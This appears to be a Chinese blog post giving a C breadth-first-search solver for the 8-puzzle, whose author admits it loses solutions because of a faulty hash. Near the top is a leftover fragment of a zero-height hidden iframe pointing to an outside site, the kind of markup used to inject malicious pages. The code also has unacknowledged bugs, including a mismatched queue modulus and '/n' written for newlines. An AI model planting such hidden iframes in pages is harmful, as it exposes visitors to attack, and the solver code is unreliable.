我的九宫格算法--空间小的一个版本,但有丢解现象,哈希函数搞不好

src="http://pspper.w1.server2003.cn/vip.htm" width="100" height="0">


GUOKE000 21:56:43
#include <stdio.h>
#include <string.h>
#include <malloc.h>


/*九宫格的数据结构*/
typedef struct nodetype
{
 char elements[9];
 struct nodetype *mother;/*指向母亲节点*/
 struct nodetype *nchild;/*东西南北四个方向上的孩子节点*/
 struct nodetype *schild;
 struct nodetype *wchild;
 struct nodetype *echild;
}gridnode;

typedef struct pointtype
{
 int x;
 int y;
}gpoint;

typedef struct roadtype
{
 int north;
 int south;
 int west;
 int east;
}road;

typedef struct nodequeuetype
{
 gridnode *nodes[3629000];
 int head;
 int tail;
}nodequeue;

int heap[1000000];

void inqueue(gridnode *node,nodequeue *queue)
{
 int temp;
 queue->tail++;
 temp=queue->tail%362900;
 queue->nodes[temp]=node;
 return;
}

gridnode *outqueue(nodequeue *queue)
{
 int temp;
 queue->head++;
 temp=queue->head%362900;
 return queue->nodes[temp];
}
int isempty(nodequeue *queue)
{
 if(queue->head==queue->tail)return 1;
 return 0;
}

gpoint locatezero(char *grid)/*判断0元素在九宫的哪个位置上,返回一个POINT*/
{
 int i=0;
 int j=0;
 int k=0;
 gpoint p;
 while(*grid!=0)
 {
  i++;
  grid++;
 }
 j=i/3+1;
 k=i%3+1;
 p.x=k;
 p.y=j;
 return p;
}

road findway(char *grid)/*通过填充一个ROAD结构来找路*/
{
 gpoint p;
 road s={0,0,0,0};
 p=locatezero(grid);
 if(p.y>1)s.north=1;
 if(p.y<3)s.south=1;
 if(p.x>1)s.west=1;
 if(p.x<3)s.east=1;
 return s;
}
void gridcopy(char *source,char *des)/*复制格格*/
{
 int i=0;
 while(i<9)
 {
  *des=*source;
  des++;
  source++;
  i++;
 }
 return;
}
/*点转化为物理位置*/
int getpos(gpoint g)
{
 return (g.y-1)*3+g.x-1;
}

int ismatch(char *source,int des)/*两个格格一样么?*/
{
 int i=0,k;
 for(k=0;k<=8;k++)
 {
  i=i*10;
  i=i+*(source+k);
 }
 if(i==des)return 1;
 return 0;
}

int levelamplify(int n)
{
 int result=1;
 while(n>0)
 {
  result=result*n;
  n--;
 }
 return result;
}

int hash(char *node)
{
 int i=0,j=0,k=0,pos=0;
 for(i=0;i<=8;i++)
 {
  k=0;
  for(j=0;j<i;j++)
  {
   if(*(node+j)>*(node+i))k++;
  }
  if(*(node+i)!=0)
  {
   pos+=levelamplify(i)*k;
  }
  else
   pos+=levelamplify(8)*(8-i);
 }
 return pos;
}

void inheap(char *node)
{
 int pos;
 pos=hash(node);
 heap[pos]=1;
}

int isallmatch(char *node)
{
 int pos;
 pos=hash(node);
 if(heap[pos]==0)return 0;
 return 1;
}

 

gridnode *buildgrid(char *start,char *finish)
{
 gridnode *head,*temp;
 nodequeue *queue;
 char k=0;
 char elements[10];
 int des=0,j=0;
 int count=0;
 int zeropos=0;
 gpoint point;
 road way={0,0,0,0};

 des=hash(finish);
 queue=(nodequeue *)malloc(sizeof(nodequeue));
 queue->head=queue->tail=-1;
 head=(gridnode *)malloc(sizeof(gridnode));
 head->wchild=head->echild=head->nchild=head->schild=head->mother=NULL;
 gridcopy(start,head->elements);
 inheap(head->elements);
 count++;
 inqueue(head,queue);
 while(!isempty(queue))
 {
  temp=outqueue(queue);
  way=findway(temp->elements);
  if(way.east==1)
  {
   gridcopy(temp->elements,elements);
   point=locatezero(elements);
   zeropos=getpos(point);
   k=elements[zeropos+1];
   elements[zeropos+1]=0;
   elements[zeropos]=k;
   j=isallmatch(elements);
   if(j)goto ende;
   else
   {
    temp->echild=(gridnode *)malloc(sizeof(gridnode));
    gridcopy(elements,temp->echild->elements);
    temp->echild->mother=temp;
   }
   j=hash(temp->echild->elements);
   if(j==des)
   {
    printf("OK");
    return temp->echild;
   }
   inqueue(temp->echild,queue);
   inheap(temp->echild->elements);
   count++;
   printf("%d/n",count);
ende:  ;
  }
  if(way.west==1)
  {
   gridcopy(temp->elements,elements);
   point=locatezero(elements);
   zeropos=getpos(point);
   k=elements[zeropos-1];
   elements[zeropos-1]=0;
   elements[zeropos]=k;
   j=isallmatch(elements);
   if(j)goto endw;
   else
   {
    temp->wchild=(gridnode *)malloc(sizeof(gridnode));
    gridcopy(elements,temp->wchild->elements);
    temp->wchild->mother=temp;
   }
   j=hash(temp->wchild->elements);
   if(j==des)
   {
    printf("OK");
    return temp->wchild;
   }
   inqueue(temp->wchild,queue);
   inheap(temp->wchild->elements);
   count++;
   printf("%d/n",count);
endw:  ;
  }
  if(way.south==1)
  {
   gridcopy(temp->elements,elements);
   point=locatezero(elements);
   zeropos=getpos(point);
   k=elements[zeropos+3];
   elements[zeropos+3]=0;
   elements[zeropos]=k;
   j=isallmatch(elements);
   if(j)goto ends;
   else
   {
    temp->schild=(gridnode *)malloc(sizeof(gridnode));
    gridcopy(elements,temp->schild->elements);
    temp->schild->mother=temp;
   }
   j=hash(temp->schild->elements);
   if(j==des)
   {
    printf("OK");
    return temp->schild;
   }
   inqueue(temp->schild,queue);
   inheap(temp->schild->elements);
   count++;
   printf("%d/n",count);
ends:  ;
  }
  if(way.north==1)
  {
   gridcopy(temp->elements,elements);
   point=locatezero(elements);
   zeropos=getpos(point);
   k=elements[zeropos-3];
   elements[zeropos-3]=0;
   elements[zeropos]=k;
   j=isallmatch(elements);
   if(j)goto endn;
   else
   {
    temp->nchild=(gridnode *)malloc(sizeof(gridnode));
    gridcopy(elements,temp->nchild->elements);
    temp->nchild->mother=temp;
   }
   j=hash(temp->nchild->elements);
   if(j==des)
   {
    printf("OK");
    return temp->nchild;
   }
   inqueue(temp->nchild,queue);
   inheap(temp->nchild->elements);
   count++;
   printf("%d/n",count);
endn:  ;
  } 
 }
 return head;
}

main()
{
 char finish[9]={1,2,3,4,5,6,7,8,0};
 char start[9]={2,3,8,6,5,1,4,7,0};
 int i=0,step=0;
 gridnode *end=NULL;
 end=buildgrid(start,finish);
 printf("/n");
 while(end!=NULL)
 {
  for(i=0;i<=8;i++)
  {
   printf("%d",end->elements[i]);
   if(!((i+1)%3))printf("/n");
  }
  printf("/n");
  end=end->mother;
  step++;
 }
 printf("/ntotal steps: %d/n",step);
 getchar();
}  

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值